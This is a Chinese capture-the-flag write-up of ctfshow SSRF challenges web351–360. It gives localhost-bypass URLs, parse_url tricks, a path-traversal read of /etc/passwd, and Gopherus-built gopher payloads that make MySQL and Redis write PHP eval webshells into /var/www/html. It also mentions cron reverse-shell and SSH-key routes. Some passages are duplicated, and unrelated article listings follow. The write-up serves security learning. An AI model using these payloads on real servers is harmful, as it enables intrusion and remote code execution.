SSRF web351-360(除357)

2023-10-27

SSRF web351-web360

写在前面:ssrf常见的一些函数

curl_init():初始curl会话
curl_setopt():会话设置
curl_close():会话关闭
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。

web351

url=http://127.0.0.1/flag.php

web352

url=http://127.1.0.1/flag.php

web353

url=http://127.1.0.1/flag.php

parse_url()解析请求包的参数,返回数组,scheme是请求包的协议

127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

web354

url=http://sudo.cc/flag.php

web355

这题限制了http://[host]/[path] host部分长度小于5

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

url=http://127.1/flag.php

web356

host长度要小于3

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
url=http://0/flag.php

web358

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

这段代码使用了正则表达式来定义条件,具体条件如下:

  • ^:表示匹配字符串的开始位置。
  • http://ctf\.:表示以 “http://ctf.” 开头。其中,. 是正则表达式中的特殊字符,需要使用 \ 进行转义。
  • .*:表示匹配任意字符(除换行符外)的零个或多个实例。
  • show$:表示以 “show” 结尾。
  • /i:表示不区分大小写。

综合起来,这个正则表达式的意思是判断给定的 URL 是否以 “http://ctf.” 开头,以 “show” 结尾,并且不区分大小写。

如果传入的 URL 满足上述条件,就会执行 echo file_get_contents($url); 的代码,使用 file_get_contents() 函数获取该 URL 的内容,并将其输出到页面上

想要做的输出flag.php无法作到在flag.php后面直接加show,加一个传参的形式即可

url=http://ctf.@127.0.0.1/flag.php?show

web359

用到工具利用gopher协议无密码注入mysql,使用Gopherus工具构造payload

python gopherus.py --exploit mysql

  • 选择构建mysql的payload
  • 设置用户名,默认root
  • sql注入,写入shell,这里使用了into outfile新建shell并写入
  • 得到payload

登陆界面找到一个隐藏的攻击点,对其进行SSRF攻击

在这里插入图片描述

将生成的gopher链接作为returl的参数,因为_后面的内容或经过两次url提交,所以需要再urlencode一次:(记得只编码下划线_后面的,否则容易出错)


生成的:gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%20%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%27%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%27%3b%01%00%00%00%01


编码后的:gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2520%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2561%255d%2529%253b%253f%253e%2527%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
执行语句: select '<?php eval($_POST[cmd]);?>'into outfile '/var/www/html/cmd.php';

在这里插入图片描述

web360

ssrf的几种方式:
ssrf打Redis

写webshell

写ssh公钥

写contrab计划反弹shell

主从复制

这个题目上一题差不多,上一题打MySQL这一题打Redis

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务

若出现报错,则说明存在redis服务
在这里插入图片描述
接着用工具

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

补充

###其他绕过127的方法

1.如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/

2.http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io

3.短网址目前基本都需要登录使用,如缩我,https://4m.cn/

4.各种指向127.0.0.1的地址:

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

ssrf.php?url=httpsssss://../../../../../../etc/passwd

###URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
	readfile($url);
} else {
	die('Hacker!');
}

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

ssrf.php
    
    ?url=127.0.0.1:11211:80/flag.txt

可以成功读取11211端口flag.txt文件,原理如下图

在这里插入图片描述

两个函数解析host也存在差异

1610601347_5fffd383dfc1a3982425f.png!small?1610601348433

2.利用curl和parse_url的解析差异绕过指定host

在这里插入图片描述

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

注意不要忘记后面那个下划线"“,下划线”“后面才开始接TCP数据流,如果不加这个”_",那么服务端收到的消息将不是完整的,该字符可随意写。

如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求步骤

在gopher协议中发送HTTP的数据,需要以下三步:

1.抓取或构造HTTP数据包
2.URL编码、将回车换行符%0a替换为%0d%0a
3.发送符合gopher协议格式的请求

注意这几个问题:

问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

意写。

如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求步骤

在gopher协议中发送HTTP的数据,需要以下三步:

1.抓取或构造HTTP数据包
2.URL编码、将回车换行符%0a替换为%0d%0a
3.发送符合gopher协议格式的请求

注意这几个问题:

问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

文章参考:

https://oceansec.blog.csdn.net/article/details/120536552?spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-120536552-blog-114988116.235%5Ev38%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-120536552-blog-114988116.235%5Ev38%5Epc_relevant_default_base&utm_relevant_index=8

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SSRF web351-360(除357) 的相关文章

  • 加密解密-对称加密与非对称加密

    目录 加密 Encryption Symmetric Key Encryption 对称密钥加密 凯撒密码 对称加密的例子 aesarCipher 例子 Kercos原理 Kerckhoff s Principle 有什么方法破解凯撒密码
  • 2023必须掌握的10大Web3技术

    2023必须掌握的10大Web3技术 1 区块链技术 Blockchain Technology 2 智能合约 Smart Contracts 3 物联网 IoT Internet of Things 4 云计算 Cloud Computi
  • ctfshow 网络迷踪-你的名字+噶即正义

    ctfshow 你的名字 通过yandex识图找到图片 这题很简单 但是不太好找 直接得到答案 野菜山下商店 这题可能会比较难找 噶即正义 先通过百度识图得到这是 无法成为野兽的我们 剧照 通过百度识图找到这是居酒屋 再通过谷歌找到所对应啤
  • 元宇宙不是Web3

    个人对元宇宙的定义为 大规模 可互操作的网络 能够实时渲湘3D虚拟世界 借助大量连使性数据 如身份 历史 权利 对象 通信和支付等 可以让无限数量的用户体脸实时同步和持续有效的在场感 现在 你应该能理解我为何会给出这样的定义了 许多人可能会
  • Web3的2048,Sui 8192能否打开全链游戏的大门?

    作者 Peng SUN Foresight News Sui 8192 一局游戏就是一个NFT Sui 8192智能合约基于Move语言编写 构成非常简单 包括游戏 Game Board与排行榜 Leaderboard 三部分 覆盖方块移动
  • 【Web3】 Web3JS Pay Api

    Web3Network eth sendSignedTransaction serializedTx 参数 from String Number 发送帐户的地址 如果未指定 则使用web3 eth defaultAccount属性 或web
  • 前端web3入门脚本二:初探dex,在dex完成一笔swap

    前言 现在市面上大多数去中心化交易所 简称dex 都是fork的uniswap的代码 名气比较大的如eth上的sushi 以及 bsc上的pancake 博主这里说的都是V2 uniswapV3在这里不做讨论 那么知道了他们的代码都是来自同
  • web3j的基础用法-3ETH交易监听器

    ETH的交易监听器 demo简单实现了4种 监听区块 public Subscription subscribeBlock final Action1
  • 怎么使用Web3.js开发一个简单的Dapp

    通过这篇文章 我们将学习 Dapps 和 Web3js 的基础知识 让我们了解一下基本术语 区块链 去中心化应用程序 以太坊 智能合约 web3js 区块链 区块链是一个可审计且不可逆的数据库 其中数据只能添加 在区块链中 数据可以作为块添
  • 2023年2月浙江省中小企业协会与各专委会大事记

    1 1月13日上午 协会领导蔡章生带队走访国家绿色技术交易中心 调研绿色技术创新工作 与国家绿色技术交易中心副主任贺沛宇 中教能源研究院黄刚院长 线上视频参会 项目主管郦剑飞等进行座谈 研究推进 双碳 产业 EATNS碳管理体系建设以及节能
  • 你认为DAO是否可行?新年计划,卯足干劲,兔必No.1

    文章目录 课前小差 聚沙成塔 社会价值 DAO是什么 国产化 商业化回报 写在最后 课前小差 哈喽 大家好 我是几何心凉 这是一份全新的专栏 唯一得倒CSDN王总的授权 来对于我们每周四的绿萝时间 直达CSDN 直播内容进行总结概括 让大家
  • _萌新 web3

  • ctfshow_web149

    打开容器
  • python 之 web3 与智能合约的交互、编译等使用

    一 背景 web3 py是一个用于与以太坊交互的 Python 库 它常见于去中心化应用程序 dapps 中 帮助发送交易 与智能合约交互 读取块数据以及各种其他用例 最初的 API 源自Web3 js Javascript API 但后来
  • CTFshow 命令执行 web34

    源码
  • 【从0学习Solidity】2. 值类型详解

    Solidity极简入门 2 值类型 博主简介 不写代码没饭吃 一名全栈领域的创作者 专注于研究互联网产品的解决方案和技术 熟悉云原生 微服务架构 分享一些项目实战经验以及前沿技术的见解 关注我们的主页 探索全栈开发 期待与您一起在移动开发
  • ctfshow web171-174

    Web 171 打开发现以下内容 看到了一个查询语句 于是认真看了一下 拼接sql语句查找指定ID用户 sql select username password from user where username flag and id GE
  • Web3领域中最值得关注的3大主题

    这是白话区块链的第1792期原创 作者 Tony编译 火火出品 白话区块链 ID hellobtc 2014年 以太坊联合创始人加文 伍德 Gavin Wood 提出Web 3 0概念 将其描述为一种全新的互联网运行模式 用户自己发布 保管
  • Cumulus Encrypted Storage System(CESS)激励测试网 v0.7.5 于11月29日正式上线

    Cumulus Encrypted Storage System CESS 是基于区块链的去中心化云存储网络和 CDN 网络 支持数据在线存储和实时共享 为 Web3 高频动态数据的存储和检索提供全栈解决方案 CESS 数据价值网络是以 D
  • Move 向未来,2024 开发者大会热潮涌动

    1 月 13 日至 14 日 2024 Move 开发者大会 Move 生态关键的一年 将于上海举办 本次大会由 MoveFuns OpenBuild 和 MoveBit 主办 Rooch AptosGlobal alcove zkMove

随机推荐

  • 关于微信小程序复制到剪贴板显示默认提示词的问题

    早上一上班 看到一个需求 小程序实现点击复制到剪贴板 在开发文档找了 剪贴板 关键词 就直接找到了相关的接口 如图 心里很是欣慰 结果如下 提示词显示固定 不能修改任何东西 在社区里找了一下 得到的结果 暂未解决 针对这一问题 网上解决办法
  • flask的ORM操作

    flask的ORM操作 目录 flask的ORM操作 ORM Flask SQLAlchemy扩展 数据模型 模型之间的关联 表管理 操作数据 新增 修改 删除 事务 查询 Flask SQLAlchemy提供了分页方法 四 文件的迁移 f
  • Matlab 2014b m_map 工具箱的19种投影projection

    很久之前做过mmap的投影代码及图 不过当时自己水平也不行 无论是对图的理解还是对matlab的理解都不足 后来博客搬来搬去的 图也丢了 代码也挂了 正好最近又在用 所以重新做了一遍 投影主要分四类 1 Azimuthal projecti
  • mysql的timestamp会存在时区问题?

    简介 众所周知 mysql中有两个时间类型 timestamp与datetime 但当在网上搜索timestamp与datetime区别时 会发现网上有不少与时区有关的完全相反的结论 主要两种 timestamp没有时区问题 而dateti
  • Visual Studio 2019 community 安装教程及使用

    Visual Studio 2019 Community 详细安装教程及使用 步骤1 获取官方地址 https visualstudio microsoft com zh hans vs 步骤2 打开您刚才下载的文件 进行安装 最后会出现如
  • 动手学深度学习——数据操作之ndarray与tensor间的转换

    为什么可以转换 无论使用哪个深度学习框架 它的张量类 在MXNet中为ndarray 在PyTorch和TensorFlow中为tensor 都与Numpy的ndarray类似 但深度学习框架又比Numpy的ndarray多一些重要功能 首
  • arr访问绝对地址_西门子1200PLC与汇川伺服电机的MODBUS-RTU通讯

    一 硬件准备 以下以 CPU1215C DC DC DC和CM1241 RS485 模块为例 介绍S7 1200 Modbus RTU 主站通信控制汇川IS620P系列伺服驱动器的组态及编程步骤 二 伺服驱动器通信参数设置 功能码 名称 设
  • Qt扫盲-QMouseEvent 鼠标事件

    QMouseEvent 鼠标事件理论 一 概述 二 鼠标事件的传递 三 组合修饰符 四 鼠标坐标位置 五 使用方式 一 概述 当在QWidget窗口内的鼠标按钮被按下或释放 或者鼠标光标被移动时 就会发生鼠标事件 鼠标按下释放没有什么特殊的
  • R语言:利用leafletCN创建交互式地图

    R语言 利用leafletCN创建交互式地图 介绍 地图是一种强大的可视化工具 它可以帮助我们展示空间数据并揭示地理模式 R语言中的leafletCN包提供了创建交互式地图的功能 而且还支持中文地图的显示 本文将向您展示如何使用leafle
  • 百度地图点聚合-Javascript-复制可用

    百度地图点聚合 Javascript 复制可用 功能介绍 整体思路 遇到问题 具体实现 一 cdn引用 二 使用 三 自定义标记点图标 功能介绍 本文记录了百度地图BMap实现点聚合效果 如下图实例 地图缩小时聚合效果 地图放大后显示效果
  • 机器学习笔记——Neural Network

    神经网路算法Neural Network 神经网络包含输入层input layer 隐藏层hidden layer 输出层output layer三部分 多层神经网络中常用的优化参数算法 backpropagation 反向传播算法 多层神
  • 【开发工具】PyChram安装Python第三方库

    目录 一 进入控制台 二 安装第三方库 一 进入控制台 打开PyChram 设置 项目 Python解释器 查看解释器所在路径 根据路径打开解释器所在文件夹 在上方路径中输入cmd 回车 进入cmd控制台 二 安装第三方库 输入命令 这里使
  • 独家

    清华大数据 赛事经验分享 系列讲座是清华 青岛数据科学研究院继 应用 创新 和 技术 前沿 系列后推出的又一学术品牌 旨在分享国内外大数据领域重要赛事获胜团队及个人的参赛历程及其获胜经验 本期我们邀请到CIKM AnalytiCup2017
  • 【Qt串口调试助手】1.7 - QLabel标签插入链接,修改Qt应用图标

    QLabel标签添加超链接 点击 即可通过默认浏览器打开网页 GitHub源码 Qt串口调试助手下载 QLabel标签添加链接 Qt支持 HTML语音 所以可以对链接颜色 字体 有无下划线等进行设置 以下是使用 默认蓝色 无下划线的示例 状
  • leetcode第84场双周赛

    leetcode第84场双周赛 一 6141 合并相似的物品 1 题目描述 2 思路分析 3 代码实现 二 6142 统计坏数对的数目 1 题目描述 2 思路分析 3 代码实现 三 6174 任务调度器 II 1 题目描述 2 思路分析 3
  • docker-compose部署springboot应用

    docker compose部署springboot应用 最开始使用tomcat部署java应用 如果要部署多个系统 我通常部署多个tomcat 每个tomcat一个系统 可以添加到系统服务自动启动 后来随着springboot流行 改为将
  • SQLNET.RECV_TIMEOUT & SQLNET.SEND_TIMEOUT

    SQLNET RECV TIMEOUT 客户端设置的作用是 其发起的请求 必须在设置值内有返回 否则报错中断该参数不是限制执行时间 而是限制返回包的时间如果执行一个SQL抽取数据 由于每秒都有数据返回 所以不会报错如果执行一个存过 由于请求
  • 为什么ChatGPT这么强?—— 一文读懂ChatGPT原理!

    前言 最近一周多的时间 只要不是生活在火星 喜欢技术的同学一定都被OpenAI的ChatGPT给刷屏了 ChatGPT与以往的公开提供服务的对话机器人相比 性能有了显著的提高 它可以相对可靠地提供一些日常对话 知识获取的功能 也可以它根据人
  • python-数据分析(9-Pandas)

    Pandas 9 Pandas 9 1 介绍与安装 Pandas介绍与安装 为什么会有Pandas Pandas支持大部分Numpy语言风格 尤其是数组函数与广播机制的各种数据处理 但是Numpy更适合处理同质型的数据 而Pandas的设计
  • SSRF web351-360(除357)

    SSRF web351 web360 写在前面 ssrf常见的一些函数 curl init 初始curl会话 curl setopt 会话设置 curl close 会话关闭 file get contents 将整个文件或一个url所指向